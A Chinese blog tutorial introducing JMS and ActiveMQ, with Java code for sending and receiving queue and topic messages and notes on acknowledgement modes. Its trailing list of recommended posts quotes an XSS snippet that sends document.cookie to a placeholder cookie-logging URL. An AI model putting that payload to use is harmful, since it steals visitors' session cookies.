最近的项目中用到了mq,之前自己一直在码农一样的照葫芦画瓢。最近几天研究了下,把自己所有看下来的文档和了解总结一下。

一. 认识JMS

1.概述

对于JMS,百度百科,是这样介绍的:JMS即Java消息服务(Java Message Service)应用程序接口是一个Java平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间,或分布式系统中发送消息,进行异步通信。Java消息服务是一个与具体平台无关的API,绝大多数MOM提供商都对JMS提供支持。

简短来说,JMS是一种与厂商无关的 API,用来访问消息收发系统消息。它类似于JDBC(Java Database Connectivity),提供了应用程序之间异步通信的功能。

JMS1.0是jsr 194里规定的规范(关于jsr规范,请点击)。目前最新的规范是JSR 343,JMS2.0。

好了,说了这么多,其实只是在说,JMS只是sun公司为了统一厂商的接口规范,而定义出的一组api接口。

2. JMS体系结构

描述如下:

  • JMS提供者(JMS的实现者,比如activemq jbossmq等)
  • JMS客户(使用提供者发送消息的程序或对象,例如在12306中,负责发送一条购票消息到处理队列中,用来解决购票高峰问题,那么,发送消息到队列的程序和从队列获取消息的程序都叫做客户)
  • JMS生产者,JMS消费者(生产者及负责创建并发送消息的客户,消费者是负责接收并处理消息的客户)
  • JMS消息(在JMS客户之间传递数据的对象)
  • JMS队列(一个容纳那些被发送的等待阅读的消息的区域)
  • JMS主题(一种支持发送消息给多个订阅者的机制)

3. JMS对象模型

  • 连接工厂(connectionfactory)客户端使用JNDI查找连接工厂,然后利用连接工厂创建一个JMS连接。
  • JMS连接 表示JMS客户端和服务器端之间的一个活动的连接,是由客户端通过调用连接工厂的方法建立的。
  • JMS会话 session 标识JMS客户端和服务端的会话状态。会话建立在JMS连接上,标识客户与服务器之间的一个会话进程。
  • JMS目的 Destinatio 又称为消息队列,是实际的消息源
  • 生产者和消费者
  • 消息类型,分为队列类型(优先先进先出)以及订阅类型

二. ActiveMQ

1. ActiveMQ的安装

  1. 从官网下载安装包,http://activemq.apache.org/download.html
  2. 赋予运行权限 chmod +x,windows可以忽略此步
  3. 运行 ./active start | stop

启动后,activeMQ会占用两个端口,一个是负责接收发送消息的tcp端口:61616,一个是基于web负责用户界面化管理的端口:8161。这两个端口可以在conf下面的xml中找到。http服务器使用了jettry。
这里有个问题是启动mq后,很长时间管理界面才可以显示出来。

2. 用Java访问ActiveMQ

先附上Bean代码:

public class MqBean implements Serializable{
private Integer age;
private String name;
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

2.1 队列消息的发送:

public static void main(String[] args) {
ConnectionFactory connectionFactory;
Connection connection;
Session session;
Destination destination;
MessageProducer producer;
connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://192.168.3.159:61616");
try {
connection = connectionFactory.createConnection();
connection.start();
//第一个参数是是否是事务型消息,设置为true,第二个参数无效
//第二个参数是
//Session.AUTO_ACKNOWLEDGE为自动确认,客户端发送和接收消息不需要做额外的工作。异常也会确认消息,应该是在执行之前确认的
//Session.CLIENT_ACKNOWLEDGE为客户端确认。客户端接收到消息后,必须调用javax.jms.Message的acknowledge方法。jms服务器才会删除消息。可以在失败的
//时候不确认消息,不确认的话不会移出队列,一直存在,下次启动继续接受。接收消息的连接不断开,其他的消费者也不会接受(正常情况下队列模式不存在其他消费者)
//DUPS_OK_ACKNOWLEDGE允许副本的确认模式。一旦接收方应用程序的方法调用从处理消息处返回,会话对象就会确认消息的接收;而且允许重复确认。在需要考虑资源使用时,这种模式非常有效。
//待测试
session = connection.createSession(false, Session.CLIENT_ACKNOWLEDGE);
destination = session.createQueue("test-queue");
producer = session.createProducer(destination);
producer.setDeliveryMode(DeliveryMode.NON_PERSISTENT);
//优先级不能影响先进先出。。。那这个用处究竟是什么呢呢呢呢
MqBean bean = new MqBean();
bean.setAge(13);
for(int i=0;i<100;i++){
bean.setName("小黄"+i);
producer.send(session.createObjectMessage(bean));
}
producer.close();
System.out.println("呵呵");
} catch (JMSException e) {
e.printStackTrace();
}
}

注:在上面的代码中,确认模式有三种,里面的DUPS_OK_ACKNOWLEDGE和AUTO_ACKNOWLEDGE一直没明白有什么区别。因为无法测试。不过大概也明白了一些。其实主要是MQ处理消息的流程决定的:

  1. 消息从生成方客户端传送到消息服务器。
  2. 消息服务器读取消息。
  3. 消息被放置到持久性存储器当中(出于可靠性的考虑)。
  4. 消息服务器确认收到消息(出于可靠性的考虑)。
  5. 消息服务器确定消息的路由。
  6. 消息服务器写出消息。
  7. 消息从消息服务器传送到使用方客户端。
  8. 使用方客户端确认收到消息(出于可靠性的考虑)。
  9. 消息服务器处理客户端确认(出于可靠性的考虑)。
  10. 消息服务器确定已经处理客户端确认。

这些步骤是连续的,所以任何步骤都可能成为消息从生成方客户端到使用方客户端的传送过程的瓶颈。这些步骤中的大多数都取决于消息传送系统的物理特征:网络带宽、计算机处理速度和消息服务器体系结构等等。但是,有一些步骤还取决于消息传送应用程序的特征和该应用程序要求的可靠性级别。
其实就是基于可靠性还是性能的选择.

2.2 队列消息的接收:

public static void main(String[] args) {
ConnectionFactory connectionFactory;
// Connection :JMS 客户端到JMS Provider 的连接
Connection connection = null;
// Session: 一个发送或接收消息的线程
Session session;
// Destination :消息的目的地;消息发送给谁.
Destination destination;
// 消费者,消息接收者
MessageConsumer consumer;
connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://192.168.3.159:61616");
try {
// 构造从工厂得到连接对象
connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
//这个最好还是有事务
session = connection.createSession(Boolean.FALSE, Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
destination = session.createQueue("test-queue");
consumer = session.createConsumer(destination);
consumer.setMessageListener(new MessageListener() {
@Override
public void onMessage(Message message) {
try {
MqBean bean = (MqBean) ((ObjectMessage)message).getObject();
System.out.println(bean);
if (null != message) {
System.out.println("收到消息" + bean.getName());
}
} catch (Exception e) {
// TODO: handle exception
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}

注:对于队列来说,比较简单的优化策略,应该就是队列分载了。由于每个消费者都是单线程的,所以可以设置多个消费者来提高速度。
大家可以复制个消费者自己测试下,在消费者中添加sleep测试下效果。

2.3 订阅消息的发送

public static void main(String[] args) {
ConnectionFactory connectionFactory;
Connection connection;
Session session;
Destination destination;
MessageProducer producer;
connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://192.168.3.159:61616");
try {
connection = connectionFactory.createConnection();
connection.start(); session = connection.createSession(false, Session.CLIENT_ACKNOWLEDGE);
destination = session.createTopic("test-topic");
producer = session.createProducer(destination);
producer.setDeliveryMode(DeliveryMode.NON_PERSISTENT);
//优先级不能影响先进先出。。。那这个用处究竟是什么呢呢呢呢
MqBean bean = new MqBean();
bean.setAge(13);
for(int i=0;i<100;i++){
Thread.sleep(1000);
bean.setName("小黄"+i);
producer.send(session.createObjectMessage(bean));
}
producer.close();
System.out.println("呵呵");
} catch (Exception e) {
e.printStackTrace();
}
}

2.4 订阅消息的接收

public static void main(String[] args) {
ConnectionFactory connectionFactory;
// Connection :JMS 客户端到JMS Provider 的连接
Connection connection = null;
// Session: 一个发送或接收消息的线程
Session session;
// Destination :消息的目的地;消息发送给谁.
Destination destination;
// 消费者,消息接收者
MessageConsumer consumer;
connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://192.168.3.159:61616");
try {
// 构造从工厂得到连接对象
connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
//这个最好还是有事务
session = connection.createSession(Boolean.FALSE, Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
destination = session.createQueue("test-queue");
consumer = session.createConsumer(destination);
consumer.setMessageListener(new MessageListener() {
@Override
public void onMessage(Message message) {
try {
MqBean bean = (MqBean) ((ObjectMessage)message).getObject();
System.out.println(bean);
if (null != message) {
System.out.println("收到消息" + bean.getName());
}
} catch (Exception e) {
// TODO: handle exception
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}

以上的消息发送后,如果没有接收到,可以登录自己的MQ管理页面:http://192.168.3.159:8161/admin/ ,默认帐号密码都是admin,查看队列中的消息

Number Of Pending Messages 等待消费的消息 这个是当前未出队列的数量。可以理解为总接收数-总出队列数
Messages Enqueued 进入队列的消息 进入队列的总数量,包括出队列的。 这个数量只增不减
Messages Dequeued 出了队列的消息 可以理解为是消费这消费掉的数量

JMS(Java消息服务)与消息队列ActiveMQ基本使用(一)的更多相关文章

  1. SpringBoot系列八:SpringBoot整合消息服务(SpringBoot 整合 ActiveMQ、SpringBoot 整合 RabbitMQ、SpringBoot 整合 Kafka)

    声明:本文来源于MLDN培训视频的课堂笔记,写在这里只是为了方便查阅. 1.概念:SpringBoot 整合消息服务 2.具体内容 对于异步消息组件在实际的应用之中会有两类: · JMS:代表作就是 ...

  2. JEESZ-kafka消息服务平台实现

    JEESZ的消息服务平台已经抛弃了之前的ActiveMQ,改用高吞吐量比较大的Kafka分布式消息中间件方案:JEESZ-kafka消息平台使用spring+kafka的集成方案,详情如下:1. 使用 ...

  3. MQ消息队列(2)—— Java消息服务接口(JMS)

    一.理解JMS   1.什么是JMS?         JMS即Java消息服务(Java Message Service)应用程序接口,API是一个消息服务的标准或者说是规范,允许应用程序组件基于J ...

  4. Java消息队列ActiveMQ (一)--JMS基本概念

    摘要:The Java Message Service (JMS) API is a messaging standard that allows application components bas ...

  5. ActiveMQ学习总结(5)——Java消息服务JMS详解

    JMS: Java消息服务(Java Message Service) JMS是用于访问企业消息系统的开发商中立的API.企业消息系统可以协助应用软件通过网络进行消息交互. JMS的编程过程很简单,概 ...

  6. Java消息队列--ActiveMq 实战

    1.下载安装ActiveMQ ActiveMQ官网下载地址:http://activemq.apache.org/download.html ActiveMQ 提供了Windows 和Linux.Un ...

  7. JMS(Java消息服务)入门教程

    什么是Java消息服务 Java消息服务指的是两个应用程序之间进行异步通信的API,它为标准消息协议和消息服务提供了一组通用接口,包括创建.发送.读取消息等,用于支持JAVA应用程序开发.在J2EE中 ...

  8. JMS(java消息服务)整合Spring项目案例

    转载自云栖社区 摘要: Sprng-jms消息服务小项目 所需的包: spring的基础包 spring-jms-xx包 spring-message–xx包 commons-collection-x ...

  9. Java消息队列--ActiveMq 初体验

    1.下载安装ActiveMQ ActiveMQ官网下载地址:http://activemq.apache.org/download.html ActiveMQ 提供了Windows 和Linux.Un ...

随机推荐

  1. JavaScript ES6 新特性详解

    JavaScript ES6 带来了新的语法和新的强大功能,使您的代码更现代,更易读 const ,  let and var 的区别: const , let 是 ES6 中用于声明变量的新关键字. ...

  2. iOS开发之获取当前展示的VC

    /** 递归查找当前显示的VC*/ + (UIViewController *)recursiveFindCurrentShowViewControllerFromViewController:(UI ...

  3. 【pG&&CYH-01】元旦联欢会

    题解: t1: 题解是循环矩阵 但我并没有往矩阵上想下去... 这个东西比较显然的是可以把它看成生成函数 然后就可以任意模数fft了 复杂度比题解优 $nlog^2$ t2: 随便推推式子就好了 t3 ...

  4. DDD - 概述 - 聚合 (三)

    不要再看那些理论啦,说的云里雾里的,绕到你怀疑人生 一句话概括聚合创建:聚合的一致性决定了聚合边界的确定,决定了聚合对象的创建.所谓的一致性即事务的一致性,细化就是 立即性和原子性.

  5. Mac安装nginx配置过程

    mac电脑系统重装了,记录一下安装nginx的过程: 1.打开终端 2.安装Command Line tools xcode-select --install 3.安装brew命令 ruby -e & ...

  6. html_jQuery

    jQuery:对Dom和js的封装模块 jQuery 低版本(1.x)兼容IE,jquery下载:http://jquery.com/download/ 若不考虑兼容ie,可下载最新版 我用的jQue ...

  7. Django----使用模板系统渲染博客页面、实现列表和详情页的跳转、前后跳转功能

    .模板写法同Flask,可以参考之前的FLask-模板 .将之前的BootStrap静态页面中的数据使用模板写 <!DOCTYPE html> <html lang="en ...

  8. pytest简介

    pytest有哪些优点? 允许直接使用assert进行断言,而不需要使用self.assert*; 可以自动寻找单测文件.类和函数; Modular fixtures可以用于管理小型或参数化的测试信息 ...

  9. xss 加载远程第三方JS

    script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...

  10. C - Thief in a Shop - dp完全背包-FFT生成函数

    C - Thief in a Shop 思路 :严格的控制好k的这个数量,这就是个裸完全背包问题.(复杂度最极端会到1e9) 他们随意原来随意组合的方案,与他们都减去 最小的 一个 a[ i ] 组合 ...